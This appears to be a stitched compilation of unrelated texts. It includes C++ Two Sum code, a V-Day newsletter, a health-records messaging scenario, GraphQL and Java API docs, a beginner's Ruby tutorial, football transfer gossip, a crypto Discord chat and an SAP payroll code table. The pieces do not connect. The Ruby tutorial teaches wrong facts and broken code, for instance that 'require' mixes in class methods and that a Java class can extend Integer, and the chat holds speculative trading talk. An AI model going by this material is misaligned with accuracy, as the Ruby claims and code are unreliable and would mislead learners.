solution.push_back(i+1);
solution.push_back(j+1);
return solution;
}
}
};
Obviously we can do better than that in terms of time. A better way is to use a hashtable/map. (This is something a professor once told me: When in doubt use a hashtable :).
So, we can use a C++ map to store each number in the map when we first encounter it. Simultaneously we can check if the target minus that number already exists in the map. If it does, bingo!
class Solution {
public:
vector<int> twoSum(vector<int> &numbers, int target) {
map<int, int> hash;
vector<int> result;
for (int i=0; i<numbers.size(); i++) {
if (hash.find(target - numbers[i]) != hash.end()) {
if (i + 1< hash[target - numbers[i]]) {
result.push_back(i+1);
result.push_back(hash[target-numbers[i]]);
}
else {
result.push_back(hash[target-numbers[i]]);
result.push_back(i+1);
}
}
else
hash[numbers[i]] = i+1;
}
return result;
}
};
To be continued…


http://action.vday.org/site/R?i=jbd_lqDu89JotFiZu2ZF7A
http://action.vday.org/site/R?i=W–Zf50HL2cn4tQyn_yktg
http://action.vday.org/site/R?i=1M1hoddjuH1RObMhnH19zA
http://action.vday.org/site/R?i=6qhVosKD7g9rHaR8n_f-IA
Happy International Day of the Girl! On this special day where people
everywhere are recognizing girls’ rights and the unique
challenges girls face around the world, we are thrilled to present
this update from V-Day Managing Director Cecile Lipworth, V-Girls
Manager Joliz Cedeño, and One Billion Rising for Justice Global
Coordinator for Southern Africa Barbara Mhangami Ruwende on their
recent trip to visit our V-Girls in South Africa. Over the past two
years these Emotional Creatures have been visiting schools, holding
summits, and taking action against issues affecting their communities.
They are self proclaimed REFUSERS who provide safe spaces for girls
and develop sustainable actions by partnering with other groups who
share their vision for a world without violence against women and
girls. We celebrate these young girls who are committed to
revolutionizing the way girls are seen and treated not only in South
Africa, but around the globe.
South Africa RISING: Justice for All
by V-Day Managing Director Cecile Lipworth
I love to travel! It excites me to get on a plane and leave one place
and arrive in another. But never more so than when I am headed back to
my home country and hometown, Johannesburg, South Africa. And when my
travel is V-Day related I know I am going to meet extraordinary
people. The excitement that filled me as I boarded the plane for South
Africa with Joliz and Barbara was uncontainable. I barely slept on the
17 hour flight.
Over two weeks we met with activists, survivors, choreographers,
executives, sex workers, media representatives, youth, men, teachers,
students, V-Girls and grassroots leaders. In coffee shops,
restaurants, boardrooms, school rooms, on college campuses and in
Parliament, we met women and men, young and old, who are ALL
impassioned, fiercely determined to create change, and hugely
inspiring. Whether I was discussing plans for an Africa Tour of
Emotional Creature in 2014, watching our V-Girls in South Africa bond,
or hearing how justice should be served during One Billion Rising for
Justice meetings, I was in continuous awe of the the creative programs
that are happening in South Africa - paradigm changing concepts that
activists are putting forward.
It was an amazing two weeks, and I am forever thankful to everyone we
met for welcoming me back home and allowing us to be a part of
envisioning a new South Africa!
Cecile Lipworth
V-Day Managing Director
Emotional Creatures Changing South Africa!
By V-Girls Manager Joliz Cedeño
There is an energy in South Africa unlike any country I’ve
traveled to before. It doesn’t come from its bustling city
landscape, but rather the present and palpable desire for change. Upon
meeting activists and V-Girls throughout Johannesburg and Cape Town it
was evident - South Africans are not ones to wait for justice to
come, they are already taking action.
CONTINUE reading >
http://action.vday.org/site/R?i=dn6Ci4nelL9Np9rNvDvBEg
The Transformative Journey That was South Africa
By Global Coordinator for Southern Africa Barbara Mhangami Ruwende
I journeyed to Johannesburg South Africa, with Cecile Lipworth,
Managing Director of V-Day and Joliz Cedeño the V-Girls
Manager. We were headed to South Africa to meet with activists, media,
dancers, philanthropists and other parties who were interested in the
One Billion Rising for JusticeCampaign, a campaign for justice for the
victims of rape and violence that would culminate in huge gatherings
of people demonstrating and dancing in various places on February 14,
2014. We wanted to get a sense of what activists in South Africa saw
as the key justice issues around which they wanted to build the
campaign.
CONTINUE reading >
http://action.vday.org/site/R?i=iwJDiBFw_qyjCamapYhTZw
WATCH ONLINE: Malalai Joya In Conversation With Eve Ensler
Last Saturday, Eve sat down with Afghan activist and author Malalai
Joya at a sold out event at ABC Home in NYC. The event was
livestreamed and the video is available online to watch. If you missed
this important conversation we highly recommend checking it out!
WATCH at vday.org/mj >
http://action.vday.org/site/R?i=fMeVdvsZJ0XKtXIPtBjILg
http://action.vday.org/site/R?i=8Eadz7Eep4xx12bnyrr0vA
http://action.vday.org/site/R?i=GqAVf0zxP23JJOh2eYcHTw
http://action.vday.org/site/R?i=vI8aLcpVj8upfrvPv–TiQ
http://action.vday.org/site/R?i=1uSxWO-BlAxr29j6X_BeNg
http://action.vday.org/site/R?i=haCRJOXFSSRg9hJlOxkxqA
unsubscribe
http://action.vday.org/site/CO?i=TL6L1UXuXMEKyqSvOhCn9Zy3gDdioFYr&cid=1062
Powered By Blackbaud


A patient’s primary care physician recommends that all patients over the age of 65 get annual influenza vaccines. As a convenience, the primary care physician’s EHR automatically sends the patient an electronic reminder to make a vaccination appointment. The message is sent via Direct to the patient’s personal health record (PHR) Direct inbox. The PHR’s Direct messaging service then sends a notification email to the patient’s personal email address, indicating that a new message has arrived at her Direct inbox. The patient logs onto her PHR, from which she can retrieve the new Direct message. She reads the reminder, schedules an appointment with her primary care physician to receive the vaccination, and deletes the message.
Meaningful Use Stage 2 Objectives related to patient reminders: Use clinically relevant information to identify patients who should receive reminders for preventive/follow-up care. (Meaningful Use Menu Set 12 for EPs) |
| The primary care physician’s EHR generates an automatic reminder message to the patient. The Direct address provided by the patient is entered as the “recipient” for the message. Prior to sending, the digital certificate associated with the patient’s Direct address is located following the Certificate Discovery for Direct implementation guide. | ||
| When the primary care physician sends the message, it passes through the primary care physician’s Health Information Service Provider (HISP), a contracted brokering agent responsible for the management of security and transport for directed exchange. As it passes through the HISP, the message is encrypted using the x.509 Certificate associated with the patient’s Direct address, and delivered to the patient’s Direct address in accordance with the Applicability Statement for Secure Health Transport. | ||
| The message is received at the patient’s Direct address by the PHR’s HISP. An automated email notification is sent from the patient portal to the patient’s personal, non-Direct email address alerting her of the new secure message that awaits on the PHR Direct inbox. | ||
| When the patient logs into the PHR, she accesses her Direct inbox and views the reminder message. |
Transport and SecurityMechanisms and processes that safely exchange health information over the Internet |


MagicSet
Contains information about a magic the gathering set.
Connections
CardConnection
)
Returns paginated information about the cards in the magic set.
| Argument | Type | Description |
|---|---|---|
after |
String
|
Returns the elements in the list that come after the specified cursor. |
before |
String
|
Returns the elements in the list that come before the specified cursor. |
first |
Int
|
Returns the first n elements from the list. |
last |
Int
|
Returns the last n elements from the list. |
TokenConnection
)
Returns paginated information about the tokens in the magic set.
| Argument | Type | Description |
|---|---|---|
after |
String
|
Returns the elements in the list that come after the specified cursor. |
before |
String
|
Returns the elements in the list that come before the specified cursor. |
first |
Int
|
Returns the first n elements from the list. |
last |
Int
|
Returns the last n elements from the list. |
Fields
Int
)
Returns base set size of the magic set.
Block
)
Returns information about the block the magic set is a part of.
[Booster]
)
Returns the structure of a booster pack in this magic set.
String
)
Returns the code of the magic set.
String
)
Returns the alternate code of the magic set.
Boolean
)
Returns whether the magic set was only released online.
Boolean
)
Returns whether the magic set was only released online.
String
)
Returns the meta date property of the magic set.
String
)
Returns the meta version property of the magic set.
String
)
Returns the mtgo code of the magic set.
String
)
Returns the name of the magic set.
String
)
Returns the release date of the magic set.
String
)
Returns the type of the magic set. E.g., starter, commander, core, etc.
String
)
Returns the tcgplayer group id of the magic set.
String
)
Returns the total set size of the magic set.


--- title: Combining Ruby Modules and Classes layout: post ---
Ah, summer...
I'm currently learning Ruby on Rails. As a total beginner to Ruby,
this task has proven to be a difficult undertaking. To an experienced
programmer, I'm sure that picking up another language is a small matter of
learning syntax and then
a few new ways of organizing scopes and abstract data types.
However, to someone like me, who only really started programming a few months
ago and has working knowledge of exactly one language, Java, learning
a language like Ruby ain't a cakewalk. I've decided to write regular
instructive posts on the language in order to help myself solidify my own understanding
as well as anyone finding themselves in this part of the internet.
In Java, we have classes, which define an instance of the class (object) and way to manipulate it
(methods, both static and instance). For example, we may have a class definition of a Rational
number
extending Integer
:
{% highlight Java%}
class Rational extends Integer {
//private class variables
private int numerator;
private int denominator;
//initializers
public Rational(int num, int denom) {
numerator = num;
denominator = denom;
}
public Rational(){
numerator = 0;
denominator = 1; //in reality you can't divide by 0
}
//instance method
public int getNum() {
return this.numerator;
}
//static method
public static Rational add(Rational one,Rational two) {
Rational sum = new Rational();
sum.denominator = GCD(one.denominator + two.denominator);
sum.numerator = one.numerator * (GCD/one.denominator) + two.numerator * (GCD/two.denominator);
return sum;
}
}
{% endhighlight %}
What we've done is extended the Integer
class, which let's say provides us a GCD
method,
to a Rational
class which includes class variables, instance initializers, and a static "class" method add
.
Importantly, all class methods must be defined within the class. This makes it tedious to rewrite methods that often use similar parameters.
In Ruby, several things are different. You don't have to declare class variables. You don't have to define class and instance methods within the class.
You can define a method that deals with an instance of the class, outside of the class definition, in a module.
For example, let's implement Rational
in Ruby:
Yup, that's pretty much all you need in a class definition in Ruby. To get the instance method, get_num
(changed for Ruby naming convention)
, and the static method, add
,
we use two different Ruby modules. Modules exist in Ruby to allow inheritance of methods without inheritance of the entire parent class. Multiple classes
can mix in a module to share common API methods easily. Our first module will be for get_num
:
{% highlight ruby %}
module GetNums
def get_num
@num
end
end
{% endhighlight %}
Our second module:
{% highlight ruby %}
module Add
def add(*nums)
sum = Rational.new
sum.denom = GCD(nums.denom)
nums.each do |num|
sum.num += GCD/num.denom * num.num
end
return sum
end
end
{% endhighlight %}
A nice feature on ruby is the ability to include an undetermined number of arguments, *args
in methods
You may be wondering why we made a module for instance methods and a module for static methods instead of making one module containing both. The reason is
that Ruby only allows mixing in of either instance methods or static methods at any one time. We use the require
keyword to mix in static methods
and the include
keyword to mix in instance methods (i for instance!). I don't know if we could just use both keywords on a single module that has both instance
and static methods; that'd be a good experiment. Now we mix in our modules into our Ruby Rational
class:
One interesting thing about Ruby is that instance variables are never private. Anyone can access or overwrite an instance variable if they
know it using object.instance_variable_get(:@var)
. While this is a strength for usability, it seems to me like a pretty major security issue.
{% highlight ruby %}
class Rational < Integer
include GetNums
require Add
# initializer
def initialize(*ints)
@num, @denom = ints
end
# accessors
attr_accessor :denom
attr_accessor :num
end
{% endhighlight %}
Now we can use our Ruby class to do the stuff the methods do:
{% highlight ruby %} real = Rational.new(5,6) puts real.get_num real2 = Rational.new(7,8) puts add(real,real1) {% endhighlight %}


Id: 9
Name: Purge Planet
Type: Planet
Dimension: Replacement Dimension
Residents: ['https://rickandmortyapi.com/api/character/26', 'https://rickandmortyapi.com/api/character/139', 'https://rickandmortyapi.com/api/character/202', 'https://rickandmortyapi.com/api/character/273']
Url: https://rickandmortyapi.com/api/location/9
Created: 2017-11-10T13:09:29.566Z


Celtic’s asking price too high for one club – And player not first choice for another two sides
by Sport Witness TeamClaims from the UK of Crystal Palace interest in Odsonne Edouard have led Calciomercato to put out a report explaining where Serie A sides stand for the Celtic player.
It’s been reported repeatedly that there’s Italian interest in the striker, with claims he’s been watched in action for Celtic.
Twelve goals and the same number of assists so far this season are statistics which have attracted attention to the 21 year old, but it doesn’t seem like there’s going to be an Italian bidding war for him in the coming windows.
Calciomercato name the interested sides as Lazio, AS Roma and Napoli.
For Lazio, it’s stated Celtic’s asking price is too high, although no figure is attached to that.
When it comes to Roma, they would be better placed to pay what the Scottish Premiership champions are looking for, however, Edouard isn’t near the top of their wanted list.
Napoli have concerns over the fitness of their strikers, yet it’s stated they’d be likelier to try and sign Zlatan Ibrahimovic on a free transfer than go for the Celtic option.


| Package | Description |
|---|---|
| org.apache.fop.render.ps |
PostScript Renderer
|
| Class and Description |
|---|
| AbstractPSTranscoder
This class enables to transcode an input to a PostScript document.
|
| FOPProcSet
Proc Set with FOP-specific procs.
|
PSDocumentHandler
IFDocumentHandler implementation
that produces PostScript. |
| PSDocumentHandler.FOPPSGenerator |
| PSEventProducer
Event producer interface for events generated by the PostScript renderer.
|
| PSImageFormResource
PostScript Resource class representing a FOP form.
|
| PSImageHandler
Specialized image handler interface for PostScript output.
|
| PSRendererConfig
The PostScript renderer configuration data object.
|
| PSRendererContextConstants
Defines a number of standard constants (keys) for use by the RendererContext class.
|
| PSRendererOption
An enumeration of the PostScript renderer configuration options along with their default values.
|
| PSRenderingContext
Rendering context for PostScript production.
|
| PSRenderingUtil
Utility class which enables all sorts of features that are not directly connected to the
normal rendering process.
|
| PSSupportedFlavors
Defines the set of supported ImageFlavors for the PostScript renderer.
|
| PSSVGHandler.PSInfo
PostScript information structure for drawing the XML document.
|
Copyright 1999-2020 The Apache Software Foundation. All Rights Reserved.


| This is a built-in template used each time you create a new package-info.java file, by
selecting New | package-info.java from the popup menu in one of the project views. The template is editable. Along with Java expressions and comments, you can also use predefined variables (listed below) that will then be expanded like macros into the corresponding values. It is also possible to specify an arbitrary number of custom variables in the format ${<VARIABLE_NAME>}. In this case, before the new file is created, you will be prompted with a dialog where you can define particular values for all custom variables. Using the #parse directive, you can include templates from the Includes tab, by specifying the full name of the desired template as a parameter in quotation marks. For example: #parse("File Header.java") |
| Predefined variables will take the following values: | ||
| name of the package in which the new package-info.java file is created | ||
| current user system login name | ||
| current system date | ||
| current system time | ||
| current year | ||
| current month | ||
| first 3 letters of the current month name. Example: Jan, Feb, etc. | ||
| full name of the current month. Example: January, February, etc. | ||
| current day of the month | ||
| current hour | ||
| current minute | ||
| the name of the current project |


--- layout: default title: Brownell Chalstrom description: Consulting, sailing, and other things url: https://brownell.github.io custom_css: index.css ---
Brownell was born and raised in New Orleans, though he has lived, worked, and studied throughout the United States. He returned to New Orleans after a long absense in 2012.
He has spent all his adult life in computer, communications, and collaboration technology fields, as an engineer, manager, executive, and investor.
Since returning to New Orleans, he has focussed on the development and operations of web and mobile web applications. More details are on the Consulting page.
Twitter: @bchalstrom
Github: brownell
LinkedIn: brownell
Contact form: what can I do for you?


A channel to discuss trading. For useful links and more info click the pinned messages to the right.
100 messages
Before 05-Dec-19 12:00 AM
Tek13-Mar-19 04:21 PM
its gonna moon again
the RLC vs KMD % of portfolio battle has begon
both clearly fueling up for a second moon.
I am fully strapped.
 Perhaps this had something to do with Huobi spiking up yesterday.
1
Tek13-Mar-19 05:01 PM
SO @yorklab r YOU SAYING ITS TIME FOR THE SECOND MOON?
yorklab13-Mar-19 05:06 PM
No clue. Pure speculation.
1
Tek13-Mar-19 05:06 PM
I took some profit in RLC and bought some KMD at 2800
lmao
my most expensive KMD bag
now im gonna set an insanely high sell order at +77%
for it
if it isn't hit in a few days I'll just send it to my wallet tfw
reeeeeeeeeeeeeeee
siu - Chainmakers13-Mar-19 05:09 PM
this whole breaking resistances part is where you just buy and hold
trading this this early might just make you accumulate less
Tek13-Mar-19 05:10 PM
I'm mostly buying
not selling
Strob13-Mar-19 05:13 PM
@74D30 I tried to arbitrage in the past and could make a few and low profits at the beginning but soon the BOTS came in and ate everything in their way! You look at all exchanges and if you see a big enough difference in price like maybe 7% and more, you can try to buy where the price is low and sell on another exchange where the price is higher. You can make money that way when an exchange is starting and the bots are not already filling all the gaps automatically. But you can also loose a lot when you discover the price difference is due to deposits or withdrawals suspension, infamous "wallet maintenance" and such BS.
1
Ok who's buying millions of Komodo to vote for himself in the upcoming Notary election?
@FishyGuts how do we get vote tokens ? I ask that cos I have my KMD on mobile agama, and last year I havent received any :/
FishyGuts13-Mar-19 11:36 PM
Vote tokens are airdropped to KMD holders 1:1 for KMD they hold. Maybe you had to add it to your agama?
When the voting begins we will have a how to video on sending your votes in.
Caglio13-Mar-19 11:36 PM
So I need to add "vote" to agama ? gonna try it now, thanks
Alexfrog14-Mar-19 12:13 AM
why did you do this 1 day after i sent all my KMD to exchange to sell the pump
ryman11214-Mar-19 12:42 AM
The Ark people really hate on KMD on reddit lol. I haven't done any digging but some of them say KMD is centralized due to using AWS and that ark has acheived some of the same feats 1 year prior to KMD.
FishyGuts14-Mar-19 12:43 AM
Ahaha. @Caglio@Alexfrog The vote stuff isn't released yet. I didn't mean to post it here.
So I deleted it.
Buddz199314-Mar-19 12:45 AM
Well tbh ark is also a solid project but kmd is steps ahead of ark , I have a bag with both projects but they should due theirs diligence before talking bs .
ryman11214-Mar-19 12:45 AM
Agree
It was a article about creating your own blockchain in under an hour. They claim 20min blah blah blah.
Gordon Komodo14-Mar-19 12:50 AM
I used to have Ark bag, but dropped it because toxic community
Caglio14-Mar-19 12:51 AM
@FishyGuts yeah not working yet, well hope it will work out when needed, smt was wrong last year, and I didnt got any vote, maybe due to shitty mobile agama back then. New one is much better
I wish I have bags of anything ( : except pac coin ofc
FishyGuts14-Mar-19 12:53 AM
Toxicity generally breeds when there is doubt, sorrow and fear.
If your best leg up is to talk down on other projects, you must not have that much progress to discuss.
3
Gordon Komodo14-Mar-19 01:10 AM
Decided to bet on peg leg instead ARRR!(edited)
1
Strob14-Mar-19 01:40 AM
@FishyGuts Since someone asked about vote coins here: does the ledger nano allow to receive the votes (without having to import the WIF on another wallet?)
actionslacks14-Mar-19 01:45 AM
pretty sure you need the agama wallet to receive and use the votes @Strob
Strob14-Mar-19 01:45 AM
Or cli I guess?
actionslacks14-Mar-19 01:47 AM
I'm sure you could use cli as well. You may wanna check with support though
Gordon Komodo14-Mar-19 02:00 AM
the vote chain will be like another asset chain , so ledger nano won't be able to access it(edited)


| Domain Name |
Value Low |
Value High |
Text |
| RELID_PCL2 |
A2 |
|
Payroll results Argentina: Annual consolidation |
| RELID_PCL2 |
AA |
|
Payroll results (Saudi Arabia) |
| RELID_PCL2 |
AB |
|
Payroll results (Albania) |
| RELID_PCL2 |
AD |
|
Payroll results (Andorra) |
| RELID_PCL2 |
AE |
|
Payroll results (garnishment) |
| RELID_PCL2 |
AF |
|
Garnishment directory |
| RELID_PCL2 |
AG |
|
Payroll results (Antigua) |
| RELID_PCL2 |
AH |
|
Payroll results (Afghanistan) |
| RELID_PCL2 |
AM |
|
Payroll results (Armenia) |
| RELID_PCL2 |
AN |
|
Payroll results (Netherlands Antilles) |
| RELID_PCL2 |
AO |
|
Payroll results (Angola) |
| RELID_PCL2 |
AR |
|
Payroll results (Argentina) |
| RELID_PCL2 |
AW |
|
Payroll results (Aruba) |
| RELID_PCL2 |
AZ |
|
Payroll results (Azerbaijan) |
| RELID_PCL2 |
B2 |
|
PDC data (month) |
| RELID_PCL2 |
BA |
|
Payroll results (Bosnia and Herzegovina) |
| RELID_PCL2 |
BB |
|
Payroll results (Barbados) |
| RELID_PCL2 |
BD |
|
Payroll results (Bangladesh) |
| RELID_PCL2 |
BF |
|
Payroll results (Burkina Faso) |
| RELID_PCL2 |
BG |
|
Payroll results (Bulgaria) |
| RELID_PCL2 |
BH |
|
Payroll results (Bahrain) |
| RELID_PCL2 |
BI |
|
Payroll results (Burundi) |
| RELID_PCL2 |
BJ |
|
Payroll results (Benin) |
| RELID_PCL2 |
BM |
|
Payroll results (Bermuda) |
| RELID_PCL2 |
BN |
|
Payroll results (Brunei) |
| RELID_PCL2 |
BO |
|
Payroll results (Bolivia) |
| RELID_PCL2 |
BR |
|
Payroll results (Brazil) |
| RELID_PCL2 |
BS |
|
Payroll results (Bahamas) |
| RELID_PCL2 |
BT |
|
Payroll results (Bhutan) |
| RELID_PCL2 |
BV |
|
Pension fund (Switzerland) |
| RELID_PCL2 |
BW |
|
Payroll results (Botswana) |
| RELID_PCL2 |
BY |
|
Payroll results (Belarus) |
| RELID_PCL2 |
BZ |
|
Payroll results (Belize) |
| RELID_PCL2 |
CA |
|
Cluster directory (CU enhancement for archiving) |
| RELID_PCL2 |
CD |
|
Cluster directory (to 3.1I) |
| RELID_PCL2 |
CF |
|
Payroll results (Central African Republic) |
| RELID_PCL2 |
CG |
|
Payroll results (Democratic Republic of the Congo) |
| RELID_PCL2 |
CI |
|
Payroll results (Ivory Coast) |
| RELID_PCL2 |
CK |
|
Payroll results (Cook Islands) |
| RELID_PCL2 |
CL |
|
Payroll results (Chile) |
| RELID_PCL2 |
CM |
|
Payroll results (Cameroon) |
| RELID_PCL2 |
CN |
|
Payroll results (China) |
| RELID_PCL2 |
CO |
|
Payroll results (Colombia) |
| RELID_PCL2 |
CR |
|
Payroll results (Costa Rica) |
| RELID_PCL2 |
CU |
|
Cluster directory |
| RELID_PCL2 |
CV |
|
Payroll results (Cape Verde) |
| RELID_PCL2 |
CW |
|
Cluster directory for SI quarterly totals (Belgium) |
| RELID_PCL2 |
CX |
|
Cluster directory for SI declaration (Belgium) |
| RELID_PCL2 |
CY |
|
Cluster directory - BELCOTAX results (Belgium) |
| RELID_PCL2 |
DB |
|
BAV-/Pension certificate (DE) |
| RELID_PCL2 |
DG |
|
DUEVO messages - part-time employees (DE) |
| RELID_PCL2 |
DJ |
|
Payroll results (Djibouti) |
| RELID_PCL2 |
DK |
|
DUEVO messages (DE) |
| RELID_PCL2 |
DM |
|
Payroll results (Dominica) |
| RELID_PCL2 |
DO |
|
Payroll results (Dominican Republic) |
| RELID_PCL2 |
DP |
|
Garnishments (DE) |
| RELID_PCL2 |
DQ |
|
Garnishment directory |
| RELID_PCL2 |
DU |
|
DUEVO notifications, O record |
| RELID_PCL2 |
DY |
|
Payroll results (Algeria) |
| RELID_PCL2 |
DZ |
|
DUEVO file number (Germany) |
| RELID_PCL2 |
EC |
|
Payroll results (Ecuador) |
| RELID_PCL2 |
EE |
|
Payroll results (Estonia) |
| RELID_PCL2 |
EF |
|
Requests for refund (Austria) |
| RELID_PCL2 |
EG |
|
Payroll results (Egypt) |
| RELID_PCL2 |
EI |
|
Payroll results (Ethiopia) |
| RELID_PCL2 |
EM |
|
Payroll results (United Arab Emirates) |
| RELID_PCL2 |
ER |
|
Payroll results (Eritrea) |
| RELID_PCL2 |
ES |
|
Payroll results (totals) |
| RELID_PCL2 |
ET |
|
Payroll results (totals) |
| RELID_PCL2 |
FI |
|
Payroll results (Finland) |
| RELID_PCL2 |
FJ |
|
Payroll results (Fiji) |
| RELID_PCL2 |
FM |
|
Payroll results (Federated States of Micronesia) |
| RELID_PCL2 |
FO |
|
Payroll results (Faroe Islands) |
| RELID_PCL2 |
GA |
|
Payroll results (Gabon) |
| RELID_PCL2 |
GD |
|
Payroll results (Grenada) |
| RELID_PCL2 |
GE |
|
Payroll results (Georgia) |
| RELID_PCL2 |
GF |
|
Payroll results (French Guiana) |
| RELID_PCL2 |
GH |
|
Payroll results (Ghana) |
| RELID_PCL2 |
GJ |
|
Cluster GJ (Santei/Geppen evaluation results) |
| RELID_PCL2 |
GL |
|
Payroll results (Greenland) |
| RELID_PCL2 |
GM |
|
Payroll results (Gambia) |
| RELID_PCL2 |
GN |
|
Payroll results (Guinea) |
| RELID_PCL2 |
GP |
|
Payroll reconciliations (GB) |
| RELID_PCL2 |
GQ |
|
Payroll results (Equatorial Guinea) |
| RELID_PCL2 |
GR |
|
Payroll results (Greece) |
| RELID_PCL2 |
GT |
|
Payroll results (Guatemala) |
| RELID_PCL2 |
GU |
|
Payroll results (Guam) |
| RELID_PCL2 |
GW |
|
Payroll results (Guinea-Bissau) |
| RELID_PCL2 |
GY |
|
Payroll results (Guyana) |
| RELID_PCL2 |
HK |
|
Payroll results (HongKong) |
| RELID_PCL2 |
HN |
|
Payroll results (Honduras) |
| RELID_PCL2 |
HR |
|
Payroll results (Croatia) |
| RELID_PCL2 |
HT |
|
Payroll results (Haiti) |
| RELID_PCL2 |
HZ |
|
Additional cluster for Hong Kong |
| RELID_PCL2 |
IC |
|
Payroll results (Iceland) |
| RELID_PCL2 |
ID |
|
Interface toolbox - Directory for interface results |
| RELID_PCL2 |
IE |
|
Payroll results (Ireland) |
| RELID_PCL2 |
IF |
|
Payroll interface |
| RELID_PCL2 |
IK |
|
KIDICAP interface |
| RELID_PCL2 |
IL |
|
Payroll results (Israel) |
| RELID_PCL2 |
IN |
|
Payroll Results India |
| RELID_PCL2 |
IQ |
|
Payroll results (Iraq) |
| RELID_PCL2 |
IR |
|
Payroll results (Iran) |
| RELID_PCL2 |
IS |
|
Payroll results (Indonesia) |
| RELID_PCL2 |
JA |
|
Annual tax declaration (Austria) |
| RELID_PCL2 |
JM |
|
Payroll results (Jamaica) |
| RELID_PCL2 |
JO |
|
Payroll results (Jordan) |
| RELID_PCL2 |
KE |
|
Payroll results (Kenya) |
| RELID_PCL2 |
KG |
|
Payroll results (Kyrgyzstan) |
| RELID_PCL2 |
KH |
|
Payroll results (Cambodia) |
| RELID_PCL2 |
KI |
|
Payroll results (Kiribati) |
| RELID_PCL2 |
KM |
|
Payroll results (Comoros) |
| RELID_PCL2 |
KO |
|
Payroll results (Democratic Republic of the Congo) |
| RELID_PCL2 |
KP |
|
Payroll results (North Korea) |
| RELID_PCL2 |
KR |
|
Payroll Result: Korea |
| RELID_PCL2 |
KT |
|
Payroll results (Saint Kitts and Nevis) |
| RELID_PCL2 |
KU |
|
Payroll results (Cuba) |
| RELID_PCL2 |
KW |
|
Payroll results (Kuwait) |
| RELID_PCL2 |
KZ |
|
Payroll results (Kazakhstan) |
| RELID_PCL2 |
LC |
|
Payroll results (Saint Lucia) |
| RELID_PCL2 |
LE |
|
Payroll results (Lebanon) |
| RELID_PCL2 |
LI |
|
Payroll results (Liechtenstein) |
| RELID_PCL2 |
LK |
|
Payroll results (Sri Lanka) |
| RELID_PCL2 |
LO |
|
Payroll results (Laos) |
| RELID_PCL2 |
LR |
|
Payroll results (Liberia) |
| RELID_PCL2 |
LS |
|
Payroll results (Lesotho) |
| RELID_PCL2 |
LT |
|
Payroll results (Lithuania) |
| RELID_PCL2 |
LU |
|
Payroll results (Luxembourg) |
| RELID_PCL2 |
LV |
|
Payroll results (Latvia) |
| RELID_PCL2 |
LY |
|
Payroll results (Libya) |
| RELID_PCL2 |
LZ |
|
Payslip (Austria) |
| RELID_PCL2 |
MA |
|
Payroll results (Morocco) |
| RELID_PCL2 |
MC |
|
Payroll results (Monaco) |
| RELID_PCL2 |
MD |
|
Payroll results (Moldova) |
| RELID_PCL2 |
MG |
|
Payroll results (Madagascar) |
| RELID_PCL2 |
MH |
|
Payroll results (Marshall Islands) |
| RELID_PCL2 |
MK |
|
Payroll results (Macedonia, FYR of) |
| RELID_PCL2 |
ML |
|
Payroll results (Mali) |
| RELID_PCL2 |
MM |
|
Payroll results (Myanmar) |
| RELID_PCL2 |
MN |
|
Payroll results (Mongolia) |
| RELID_PCL2 |
MP |
|
Payroll results (Northern Mariana Islands) |
| RELID_PCL2 |
MR |
|
Payroll results (Mauritania) |
| RELID_PCL2 |
MT |
|
Payroll results (Malta) |
| RELID_PCL2 |
MU |
|
Payroll results (Mauritius) |
| RELID_PCL2 |
MV |
|
Payroll results (Maldives) |
| RELID_PCL2 |
MW |
|
Payroll results (Malawi) |
| RELID_PCL2 |
MX |
|
Payroll results (Mexico) |
| RELID_PCL2 |
MZ |
|
Payroll results (Mozambique) |
| RELID_PCL2 |
N1 |
|
Advance payments (New Zealand) |
| RELID_PCL2 |
NA |
|
Payroll results (Namibia) |
| RELID_PCL2 |
NC |
|
Payroll results (New Caledonia) |
| RELID_PCL2 |
NE |
|
Payroll results (Niger) |
| RELID_PCL2 |
NG |
|
Payroll results (Nigeria) |
| RELID_PCL2 |
NP |
|
Payroll results (Nepal) |
| RELID_PCL2 |
NR |
|
Payroll results (Nauru) |
| RELID_PCL2 |
NZ |
|
Payroll results (New Zealand) |
| RELID_PCL2 |
OD |
|
Civil service - staggered payment (directory) |
| RELID_PCL2 |
OM |
|
Payroll results (Oman) |
| RELID_PCL2 |
PA |
|
Payroll results (Panama) |
| RELID_PCL2 |
PE |
|
Payroll results (Peru) |
| RELID_PCL2 |
PF |
|
Payroll results (French Polynesia) |
| RELID_PCL2 |
PG |
|
Payroll results (Papua New Guinea) |
| RELID_PCL2 |
PH |
|
Payroll Results Philippines |
| RELID_PCL2 |
PK |
|
Payroll results (Pakistan) |
| RELID_PCL2 |
PL |
|
Payroll results (Poland) |
| RELID_PCL2 |
PO |
|
Payroll results (Puerto Rico) |
| RELID_PCL2 |
PS |
|
Schema |
| RELID_PCL2 |
PT |
|
Schema |
| RELID_PCL2 |
PU |
|
Payroll results (Paraguay) |
| RELID_PCL2 |
PW |
|
Payroll results (Palau) |
| RELID_PCL2 |
Q0 |
|
Statements (international) |
| RELID_PCL2 |
Q1 |
|
Statements (batch comments - international) |
| RELID_PCL2 |
Q3 |
|
Advance payments (Australia) |
| RELID_PCL2 |
QA |
|
Payroll results (Qatar) |
| RELID_PCL2 |
RA |
|
Payroll results (Austria) |
| RELID_PCL2 |
RB |
|
Payroll results (Belgium) |
| RELID_PCL2 |
RC |
|
Payroll results (Switzerland), all data |
| RELID_PCL2 |
RD |
|
Payroll results (Germany), all data |
| RELID_PCL2 |
RE |
|
Payroll results (Spain) |
| RELID_PCL2 |
RF |
|
Payroll results (France), all data |
| RELID_PCL2 |
RG |
|
Payroll results (Britain) |
| RELID_PCL2 |
RH |
|
Payroll results (Hungary) |
| RELID_PCL2 |
RI |
|
Payroll results (Italy) |
| RELID_PCL2 |
RJ |
|
Payroll results (Japan) |
| RELID_PCL2 |
RK |
|
Payroll results (Canada) |
| RELID_PCL2 |
RL |
|
Payroll results (Malaysia) |
| RELID_PCL2 |
RM |
|
Payroll results (Denmark) |
| RELID_PCL2 |
RN |
|
Payroll results (Netherlands) |
| RELID_PCL2 |
RO |
|
Payroll results (Romania) |
| RELID_PCL2 |
RP |
|
Payroll results (Portugal) |
| RELID_PCL2 |
RQ |
|
Payroll results (Australia) |
| RELID_PCL2 |
RR |
|
Payroll results (Singapore) |
| RELID_PCL2 |
RS |
|
Payroll results (Sweden) |
| RELID_PCL2 |
RT |
|
Payroll results (Czech Republic) |
| RELID_PCL2 |
RU |
|
Payroll results (USA) |
| RELID_PCL2 |
RV |
|
Payroll results (Norway) |
| RELID_PCL2 |
RW |
|
Payroll results (South Africa) |
| RELID_PCL2 |
RX |
|
Payroll results (international), all data |
| RELID_PCL2 |
SC |
|
Payroll results (Seychelles) |
| RELID_PCL2 |
SD |
|
Payroll results (Sudan) |
